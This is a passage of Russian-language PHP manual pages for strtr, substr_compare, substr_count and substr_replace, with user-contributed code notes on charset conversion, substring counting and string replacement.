      "\x94" => '"',  "\x95" => "*",    "\x96" => "-", "\x97" => "--",
      "\x98" => "~",  "\x99" => "(TM)", "\x9A" => "s", "\x9B" => ">",
      "\x9C" => "oe", "\x9D" => " ",    "\x9E" => "z", "\x9F" => "Y"));
ajitsingh4u at gmail dot com 06-Aug-2007 07:36
/**
* Replaces special characters with single quote,double quote and comma for charset iso-8859-1
*
* replaceSpecialChars()
* @param string $str
* @return string
*/
function replaceSpecialChars($str)
{
    //`(96) '(130) „(132) '(145) '(146) "(147) "(148) ?(180)   // equivalent ascii values of these characters.
    $str = strtr($str, "`'„''?", "'','''");
    $str = strtr($str, '""', '""');
    return $str;
}
horak.jan AT centrum.cz 22-May-2007 07:11
Here is a function to convert middle-european windows charset (cp1250) to the charset, that php script is written in:

<?php
    function cp1250_to_utf2($text){
        $dict  = array(chr(225) => 'a', chr(228) =>  'a', chr(232) => 'c', chr(239) => 'd',
            chr(233) => 'e', chr(236) => 'e', chr(237) => 'i', chr(229) => 'l', chr(229) => 'l',
            chr(242) => 'n', chr(244) => 'o', chr(243) => 'o', chr(154) => 's', chr(248) => 'r',
            chr(250) => 'u', chr(249) => 'u', chr(157) => 't', chr(253) => 'y', chr(158) => 'z',
            chr(193) => 'A', chr(196) => 'A', chr(200) => 'C', chr(207) => 'D', chr(201) => 'E',
            chr(204) => 'E', chr(205) => 'I', chr(197) => 'L',    chr(188) => 'L', chr(210) => 'N',
            chr(212) => 'O', chr(211) => 'O', chr(138) => 'S', chr(216) => 'R', chr(218) => 'U',
            chr(217) => 'U', chr(141) => 'T', chr(221) => 'Y', chr(142) => 'Z',
            chr(150) => '-');
        return strtr($text, $dict);
    }
?>
joeldegan AT yahoo 07-Apr-2006 08:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
    $good[] = 9;  #tab
    $good[] = 10; #nl
    $good[] = 13; #cr
    for($a=32;$a<127;$a++){
        $good[] = $a;
    }
    $len = strlen($str);
    for($b=0;$b < $len+1; $b++){
        if(in_array(ord($str[$b]), $good)){
            $newstr .= $str[$b];
        }//fi
    }//rof
    return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com 29-Dec-2005 07:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz 20-Dec-2005 02:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

    $str = StrTr($str,
        "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
        "\x61\x63\x64\x65\x65\x69\x6E");

    $str = StrTr($str,
        "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
        "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

    $str = StrTr($str,
        "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
        "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

    $str = StrTr($str,
        "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
        "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

    return $str;
}
?>
ru dot dy at gmx dot net 10-Jul-2005 04:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
patrick at p-roocks dot de 06-Feb-2005 02:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
11-Dec-2004 05:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
ktogias at math dot upatras dot gr 23-Sep-2004 03:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
        $replacement=array(
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?")
        );
        foreach($replacement as $group){
                foreach($group as $character){
                        $exp="[";
                        foreach($group as $expcharacter){
                                $exp.=$expcharacter;
                        }
                        $exp.="]";
                        $trans[$character]=$exp;
                }
        }
        $temp=explode(" ", $mystring);
        for ($i=0;$i<sizeof($temp);$i++){
                $temp[$i]=strtr($temp[$i],$trans);
                $temp[$i]=addslashes($temp[$i]);
        }
        return implode(".*",$temp);
}

$match=gr_regexp("????????????????????? ??? ????????");

//The next query string can be sent to MySQL
through mysql_query()
$query=
      "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
j at pureftpd dot org 30-Nov-2003 08:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
    return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli 29-Oct-2003 01:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
              $text = strtr($text, $double_break);
              $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
bisqwit at iki dot fi 10-Aug-2002 10:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
              'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu 17-Jul-2002 05:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the ? by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com 18-Apr-2002 09:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
    function str_rot13($str) {
        $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $to   = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

        return strtr($str, $from, $to);
    }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se 23-Nov-2001 09:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.


Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра

  • « strtr
  • substr_count »
  • PHP Manual
  • Функции для работы со строками
  • Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра

substr_compare

(PHP 5, PHP 7, PHP 8)

substr_compare — Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра

Описание

substr_compare(
string $haystack,
string $needle,
int $offset,
?int $length = null,
bool $case_insensitive = false
): int

substr_compare() сравнивает строку haystack (начиная с позиции offset) со строкой needle. В сравнении участвуют максимум length символов.

Список параметров

haystack

Основная сравниваемая строка.

needle

Следующая сравниваемая строка.

offset

Стартовая позиция сравнения. Если отрицательна, то обозначает смещение с конца строки.

length

Длина сравнения. По умолчанию используется максимальная из длин needle и haystack минус offset.

case_insensitive

Если case_insensitive имеет значение true, сравнение выполняется без учёта регистра.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны. Если offset больше (до PHP 7.2.18, 7.3.5) или равен длине haystack или length передан и меньше 0, substr_compare() выводит предупреждение и возвращает false.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.
8.0.0 | length теперь допускает значение null.
7.2.18, 7.3.5 | offset теперь может быть равным haystack.

Примеры

Пример #1 Пример использования substr_compare()

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "de", -2, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // предупреждение
?>

Смотрите также

  • strncmp() - Бинарно-безопасное сравнение первых n символов строк

User Contributed Notes

bishop at php dot net 03-Oct-2016 07:28
This function efficiently implements checks for strings beginning or ending with other strings:

<?php

function str_begins($haystack, $needle) {
  return 0 === substr_compare($haystack, $needle, 0, strlen($needle));
}

function str_ends($haystack,  $needle) {
  return 0 === substr_compare($haystack, $needle, -strlen($needle));
}

var_dump(str_begins('http://example.com', 'https://'));

?>

Note that these are not multi-byte character set aware.
jimmetry at gmail dot com 16-Dec-2012 12:31
When you came to this page, you may have been looking for something a little simpler: A function that can check if a small string exists within a larger string starting at a particular index. Using substr_compare() for this can leave your code messy, because you need to check that your string is long enough (to avoid the warning), manually specify the length of the short string, and like many of the string functions, perform an integer comparison to answer a true/false question.

I put together a simple function to return true if $str exists within $mainStr. If $loc is specified, the $str must begin at that index. If not, the entire $mainStr will be searched.

<?php

function contains_substr($mainStr, $str, $loc = false) {
    if ($loc === false) return (strpos($mainStr, $str) !== false);
    if (strlen($mainStr) < strlen($str)) return false;
    if (($loc + strlen($str)) > strlen($mainStr)) return false;
    return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0);
}

?>
Skyborne 03-Aug-2012 01:55
Take note of the `length` parameter: "The default value is the largest of the length of the str compared to the length of main_str less the offset."

This is *not* the length of str as you might (I always) expect, so if you leave it out, you'll get unexpected results.  Example:

<?php
$hash = '$5$lalalalalalalala$crypt.output.here';
var_dump(substr_compare($hash, '$5$', 0)); # int(34)
var_dump(substr_compare($hash, '$5$', 0, 3)); # int(0)
var_dump(PHP_VERSION); # string(6) "5.3.14"
?>
sleek 23-May-2005 05:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
    function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
        $offset = (int) $offset;

        // Throw a warning because the offset is invalid
        if ($offset >= strlen($main_str)) {
            trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
            return false;
        }

        // We are comparing the first n-characters of each string, so let's use the PHP function to do it
        if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
            return strncasecmp($main_str, $str, $length);
        }

        // Get the substring that we are comparing
        if (is_int($length)) {
            $main_substr = substr($main_str, $offset, $length);
            $str_substr = substr($str, 0, $length);
        } else {
            $main_substr = substr($main_str, $offset);
            $str_substr = $str;
        }

        // Return a case-insensitive comparison of the two strings
        if ($case_insensitivity === true) {
            return strcasecmp($main_substr, $str_substr);
        }

        // Return a case-sensitive comparison of the two strings
        return strcmp($main_substr, $str_substr);
    }
}
?>


Возвращает число вхождений подстроки

  • « substr_compare
  • substr_replace »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает число вхождений подстроки

substr_count

(PHP 4, PHP 5, PHP 7, PHP 8)

substr_count — Возвращает число вхождений подстроки

Описание

substr_count(
string $haystack,
string $needle,
int $offset = 0,
?int $length = null
): int

substr_count() возвращает число вхождений подстроки needle в строку haystack. Заметьте, что параметр needle чувствителен к регистру.

Замечание:

Эта функция не подсчитывает перекрывающиеся подстроки. Смотрите пример ниже!

Список параметров

haystack

Строка, в которой ведётся поиск

needle

Искомая подстрока

offset

Смещение начала отсчёта. Если задано отрицательное значение, отсчёт позиции будет произведён с конца строки.

length

Максимальная длина строки, в которой будет производится поиск подстроки после указанного смещения. Если сумма смещения и максимальной длины будет больше длины haystack, то будет выведено предупреждение. Отрицательное значение будет отсчитываться с конца haystack.

Возвращаемые значения

Эта функция возвращает целое число (int).

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.
7.1.0 | Добавлена поддержка отрицательных значений offset и length. length теперь также может быть 0.

Примеры

Пример #1 Пример использования substr_count()

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// строка уменьшается до 's is a test', поэтому вывод будет 1
echo substr_count($text, 'is', 3);

// текст уменьшается до 's i', поэтому вывод будет 0
echo substr_count($text, 'is', 3, 3);

// генерирует предупреждение, так как 5+10 > 14
echo substr_count($text, 'is', 5, 10);

// выводит только 1, т.к. перекрывающиеся подстроки не учитываются
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

Смотрите также

  • count_chars() - Возвращает информацию о символах, входящих в строку
  • strpos() - Возвращает позицию первого вхождения подстроки
  • substr() - Возвращает подстроку
  • strstr() - Находит первое вхождение подстроки

User Contributed Notes

tuxedobob 18-Apr-2016 06:55
It's worth noting this function is surprisingly fast. I first ran it against a ~500KB string on our web server. It found 6 occurrences of the needle I was looking for in 0.0000 seconds. Yes, it ran faster than microtime() could measure.

Looking to give it a challenge, I then ran it on a Mac laptop from 2010 against a 120.5MB string. For one test needle, it found 2385 occurrences in 0.0266 seconds. Another test needs found 290 occurrences in 0.114 seconds.

Long story short, if you're wondering whether this function is slowing down your script, the answer is probably not.
tweston at bangordailynews dot com 15-Apr-2015 03:10
To account for the case that jrhodes has pointed out, we can change the line to:

substr_count ( implode( ',', $haystackArray ), $needle );

This way:

array (
  0 => "mystringth",
  1 => "atislong"
);

Becomes

mystringth,atislong

Which brings the count for $needle = "that" to 0 again.
php at blink dot at 07-Jul-2014 01:30
This will handle a string where it is unknown if comma or period are used as thousand or decimal separator. Only exception where this leads to a conflict is when there is only a single comma or period and 3 possible decimals (123.456 or 123,456). An optional parameter is passed to handle this case (assume thousands, assume decimal, decimal when period, decimal when comma). It assumes an input string in any of the formats listed below.

function toFloat($pString, $seperatorOnConflict="f")
{
    $decSeperator=".";
    $thSeperator="";

    $pString=str_replace(" ", $thSeperator, $pString);

    $firstPeriod=strpos($pString, ".");
    $firstComma=strpos($pString, ",");
    if($firstPeriod!==FALSE && $firstComma!==FALSE) {
        if($firstPeriod<$firstComma) {
            $pString=str_replace(".", $thSeperator, $pString);
            $pString=str_replace(",", $decSeperator, $pString);
        }
        else {
            $pString=str_replace(",", $thSeperator, $pString);
        }
    }
    else if($firstPeriod!==FALSE || $firstComma!==FALSE) {
        $seperator=$firstPeriod!==FALSE?".":",";
        if(substr_count($pString, $seperator)==1) {
            $lastPeriodOrComma=strpos($pString, $seperator);
            if($lastPeriodOrComma==(strlen($pString)-4) && ($seperatorOnConflict!=$seperator && $seperatorOnConflict!="f")) {
                $pString=str_replace($seperator, $thSeperator, $pString);
            }
            else {
                $pString=str_replace($seperator, $decSeperator, $pString);
            }
        }
        else {
            $pString=str_replace($seperator, $thSeperator, $pString);
        }
    }
    return(float)$pString;
}

function testFloatParsing() {
    $floatvals = array(
        "22 000",
        "22,000",
        "22.000",
        "123 456",
        "123,456",
        "123.456",
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>thousands</th>
            <th>fraction</th>
            <th>dec. if period</th>
            <th>dec. if comma</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) toFloat($fval, "") . "</td>";
        echo "<td>" . (float) toFloat($fval, "f") . "</td>";
        echo "<td>" . (float) toFloat($fval, ".") . "</td>";
        echo "<td>" . (float) toFloat($fval, ",") . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
qeremy [atta] gmail [dotta] com 20-Sep-2013 08:45
Unicode example with "case-sensitive" option;

<?php
function substr_count_unicode($str, $substr, $caseSensitive = true, $offset = 0, $length = null) {
    if ($offset) {
        $str = substr_unicode($str, $offset, $length);
    }

    $pattern = $caseSensitive
        ? '~(?:'. preg_quote($substr) .')~u'
        : '~(?:'. preg_quote($substr) .')~ui';
    preg_match_all($pattern, $str, $matches);

    return isset($matches[0]) ? count($matches[0]) : 0;
}

function substr_unicode($str, $start, $length = null) {
    return join('', array_slice(
        preg_split('~~u', $str, -1, PREG_SPLIT_NO_EMPTY), $start, $length));
}

$s = 'Umit yuzum gozum...';
print substr_count_unicode($s, 'u');            // 3
print substr_count_unicode($s, 'u', false);     // 4
print substr_count_unicode($s, 'u', false, 10); // 1

print substr_count_unicode($s, 'um');           // 2
print substr_count_unicode($s, 'um', false);    // 3
?>
chrisstocktonaz at gmail dot com 26-Aug-2009 04:52
In regards to anyone thinking of using code contributed by zmindster at gmail dot com

Please take careful consideration of possible edge cases with that regex, in example:

$url = 'http://w3.host.tld/path/to/file/..../file.extension';
$url = 'http://w3.host.tld/path/to/file/../file.extension?malicous=....';

This would cause a infinite loop and for example be a possible entry point for a denial of service attack. A correct fix would require additional code, a quick hack would be just adding a additional check, without clarity or performance in mind:

...
$i = 0;
while (substr_count($url, '../') && ++$i < strlen($url))
...

-Chris
jrhodes at roket-enterprises dot com 18-Jun-2009 01:37
It was suggested to use

substr_count ( implode( $haystackArray ), $needle );

instead of the function described previously, however this has one flaw.  For example this array:

array (
  0 => "mystringth",
  1 => "atislong"
);

If you are counting "that", the implode version will return 1, but the function previously described will return 0.
gigi at phpmycoder dot com 12-Jan-2009 08:17
below was suggested a function for substr_count'ing an array, yet for a simpler procedure, use the following:

<?php
substr_count ( implode( $haystackArray ), $needle );
?>
info at fat-fish dot co dot il 05-May-2007 04:07
a simple version for an array needle (multiply sub-strings):
<?php

function substr_count_array( $haystack, $needle ) {
     $count = 0;
     foreach ($needle as $substring) {
          $count += substr_count( $haystack, $substring);
     }
     return $count;
}
?>
flobi at flobi dot com 25-Oct-2006 07:07
Making this case insensitive is easy for anyone who needs this.  Simply convert the haystack and the needle to the same case (upper or lower).

substr_count(strtoupper($haystack), strtoupper($needle))
XinfoX X at X XkarlX X-X XphilippX X dot X XdeX 21-Dec-2003 01:27
Yet another reference to the "cgcgcgcgcgcgc" example posted by "chris at pecoraro dot net":

Your request can be fulfilled with the Perl compatible regular expressions and their lookahead and lookbehind features.

The example

 $number_of_full_pattern = preg_match_all('/(cgc)/', "cgcgcgcgcgcgcg", $chunks);

works like the substr_count function. The variable $number_of_full_pattern has the value 3, because the default behavior of Perl compatible regular expressions is to consume the characters of the string subject that were matched by the (sub)pattern. That is, the pointer will be moved to the end of the matched substring.
But we can use the lookahead feature that disables the moving of the pointer:

 $number_of_full_pattern = preg_match_all('/(cg(?=c))/', "cgcgcgcgcgcgcg", $chunks);

In this case the variable $number_of_full_pattern has the value 6.
Firstly a string "cg" will be matched and the pointer will be moved to the end of this string. Then the regular expression looks ahead whether a 'c' can be matched. Despite of the occurence of the character 'c' the pointer is not moved.


Заменяет часть строки

  • « substr_count
  • substr »
  • PHP Manual
  • Функции для работы со строками
  • Заменяет часть строки

substr_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

substr_replace — Заменяет часть строки

Описание

substr_replace(
array|string $string,
array|string $replace,
array|int $offset,
array|int|null $length = null
): string|array

substr_replace() заменяет часть строки string, начинающуюся с символа с порядковым номером offset и (необязательной) длиной length, строкой replace и возвращает результат.

Список параметров

string

Входная строка.

Также можно указать массив строк, в этом случае замены будут происходить с каждой предоставленной строкой. В этом случае параметры replace, offset и length могут быть как скалярными значениями - в этом случае эти значения будут применены к каждой строке, так и массивами - в этом случае соответствующие элементы массивов будут применены к каждой предоставленной строке.

replace

Строка замены.

offset

Если offset положителен, замена начинается с символа с порядковым номером offset строки string.

Если offset отрицателен, замена начинается с символа с порядковым номером offset, считая от конца строки string.

length

Если аргумент положителен, то он представляет собой длину заменяемой подстроки в строке string. Если этот аргумент отрицательный, он определяет количество символов от конца строки string, на которых заканчивается замена. Этот аргумент необязателен и по умолчанию равен strlen(string);, то есть замена до конца строки string. Разумеется, если length равен нулю, то это эквивалентно вставке replace в string на указанной позиции offset.

Возвращаемые значения

Возвращает результирующую строку. Если string является массивом, то возвращает массив.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Простой пример использования substr_replace()

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Оригинал: $var<hr />\n";

/* Обе следующих строки заменяют всю строку $var на 'bob'. */
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* Вставляет 'bob' в начало $var. */
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* Обе следующих строки заменяют 'MNRPQR' в $var на 'bob'. */
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* Удаляет 'MNRPQR' из $var. */
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

Пример #2 Использование substr_replace() для одновременной множественной замены строк

<?php
$input = array('A: XXX', 'B: XXX', 'C: XXX');

// Простой случай: заменяем XXX на YYY в каждой строке.
echo implode('; ', substr_replace($input, 'YYY', 3, 3))."\n";

// Более сложный случай с уникальными заменами.
$replace = array('AAA', 'BBB', 'CCC');
echo implode('; ', substr_replace($input, $replace, 3, 3))."\n";

// Замены с разными количествами символов.
$length = array(1, 2, 3);
echo implode('; ', substr_replace($input, $replace, 3, $length))."\n";
?>

Результат выполнения приведённого примера:

A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • str_replace() - Заменяет вхождения строки поиска строкой замены
  • substr() - Возвращает подстроку
  • Доступ к символу в строке и его изменение

User Contributed Notes

meg dot phillips91 at gmail dot com 18-Jun-2020 04:47
This may be obvious to others, but I just spent hours and my feeble brain only caught up to it after a long break.

If you are looping through a string which has multiple substrings that need to be replaced, you have to add an offset factor to each original offset before you replaced any strings. Here is a real world example:

From draft.js we get paragraphs with multiple links designated only with offset, anchor text length, url, target. So each anchor text must be wrapped in the <a href="url" target="target">anchortext</a> to save proper content in the database.

Here is the implementation of offset factor:

 $offset_factor = 0;

 foreach($content->links->links as $index=>$link){
            $replacement = '<a href="'.$link->href.'"  target="$link->target">'.$link->anchorText.'</a>';
            $new_offset = $link->offset + $offset_factor;
            $newtext = \substr_replace($content->text, $replacement, $new_offset, $link->length);

            //now we reset the original paragraph text with newtext
            $content->text = $newtext;

            //calculate the new offset by calculating the difference in replacement length and original length and add that to the offset_factor
            $additional_characters = strlen($replacement) - $link->length;
            $offset_factor =  $offset_factor + $additional_characters;
        }

I hope this helps a noobie :) If there is another easier way, I would love to hear about it.
shaman_master at list dot ru 31-Dec-2019 10:48
Add prefix to strings:
<?php
substr_replace($strings, '_prefix', 0, 0);
?>
Add suffix/postfix to strings:
<?php
substr_replace($strings, '_suffix', array_map('strlen', $strings), 0);
?>
bkline at rksystems dot com 12-Mar-2019 01:21
I imagine the description of the parameters really means "number of bytes" where it says "number of characters" (confirmed by testing).
yeyijelud at amadamus dot com 08-Nov-2018 06:18
First Example can be simplified =>

 $input = array('A: XXX', 'B: XXX', 'C: XXX');

 substr_replace($input, 'YYY', -3);

output: Array ( [0] => A: YYY [1] => B: YYY [2] => C: YYY )
Hayley Watson 26-Sep-2017 12:32
See array_splice if you want to do this sort of thing to an array.
nospam at nospam dot com 21-Jan-2016 09:45
<?php

// shortens a long string to a max length while inserting a string into the exact middle
function strShorten($str, $maxlen = 10, $insert = '/.../') {
  if ($str && !is_array($str)) { // valid string
    if ($maxlen && is_numeric($maxlen) && $maxlen < strlen($str)) { // string needs shortening
      if ($insert && ($ilen = strlen($insert))) { // insert string and length
        if ($ilen >= $maxlen) { // insert string too long so use default insert
          $insert = '**'; // short default so works even when a very small $maxlen
          $ilen = 2;
        }
      }
      $chars = $maxlen - $ilen; // number of $str chars to keep
      $start = ceil($chars/2); // position to start cutting
      $end = floor($chars/2); // position from end to stop cutting
      return substr_replace($str, $insert, $start, -$end); // first.insert.last
    } else { // string already short enough
      return $str; // return original string
    }
  }
}

echo strShorten('123456789', 6, ''); // outputs 123789
echo strShorten('123456789', 6, '-'); // outputs 123-89
echo strShorten('123456789', 6, 'longstring'); // outputs 12**89
echo strShorten('abcdefghijklmnopqrstuvwxyz', 10, '..'); // outputs abcd..wxyz
echo strShorten('abcdefghijklmnopqrstuvwxyz'); // outputs abc/.../yz

?>
olav at schettler dot net 01-Nov-2015 08:12
Please note that the function array_slice(), which has a similar functionality but for arrays rather than for strings, has its parameters in a different order.
ivijan dot stefan at gmail dot com 05-Mar-2014 08:15
I have a little function that works like substr_replace ()  what I use for some purpose. Maybe someone needs it.

<?php
function putinplace($string=NULL, $put=NULL, $position=false)
{
    $d1=$d2=$i=false;
    $d=array(strlen($string), strlen($put));
    if($position > $d[0]) $position=$d[0];
    for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i];
    for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i];
    return $string;
}

// Explanation
$string='My dog dont love postman'; // string
$put="'"; // put ' on position
$position=10; // number of characters (position)
print_r( putinplace($string, $put, $position) );
?>

RESULT: My dog don't love postman

This is a small powerful function that performs its job flawlessly.
blessador at gmail dot com 18-Jun-2013 08:36
<?php
$price = "12000";
$price = substr_replace ($price, ',', -3, 0)";
?>

ensure to remove the double quot  " at the end of substr_replace ($price, ',', -3, 0)" in the above  code to avoid error.
elloromtz at gmail dot com 17-Apr-2010 11:23
It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0.

<?php
substr_replace('eggs','x',-1,-1); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
?>

Same as:
<?php
substr_replace('eggs','x',-1,0); //eggxs
?>

<?php
substr_replace('huevos','x',-2,-2); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
?>

Same as:
<?php
substr_replace('huevos','x',-2,0); //huevxos
?>

Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it)

<?php
substr_replace('abcd', 'x', 0, -4); //xabcd
?>

Same as:
<?php
substr_replace('abcd','x',0,0); //xabcd
?>

<?php
substr_replace('abcd', 'x', 1, -3); //axbcd
?>

Same as:
<?php
substr_replace('abcd', 'x', 1, 0); //axbcd
?>
den dot gierling at web dot de 19-Feb-2010 10:32
My problem was that substr_replace() always added $replacement, so i wrote my own function.
This function only adds $replacement, if substr() took action.
The parameter $length is optional - like substr()'s.
Or I was too stupid using $start and $length...

<?php
function substr_replace_provided($string,$replacement,$start,$length=NULL)
{
